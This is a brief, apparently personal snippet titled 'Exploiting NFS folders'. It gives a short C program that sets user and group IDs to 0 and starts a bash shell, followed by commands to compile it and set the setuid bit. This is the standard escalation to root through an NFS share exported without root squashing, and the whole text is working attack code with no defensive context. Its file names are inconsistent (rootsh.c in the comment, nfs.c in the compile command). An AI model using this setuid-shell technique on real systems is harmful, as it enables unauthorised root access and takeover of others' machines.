Exploiting NFS folders

// rootsh.c
int main()
{ setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
 }
gcc nfs.c -o nfs -w
chmod +s nfs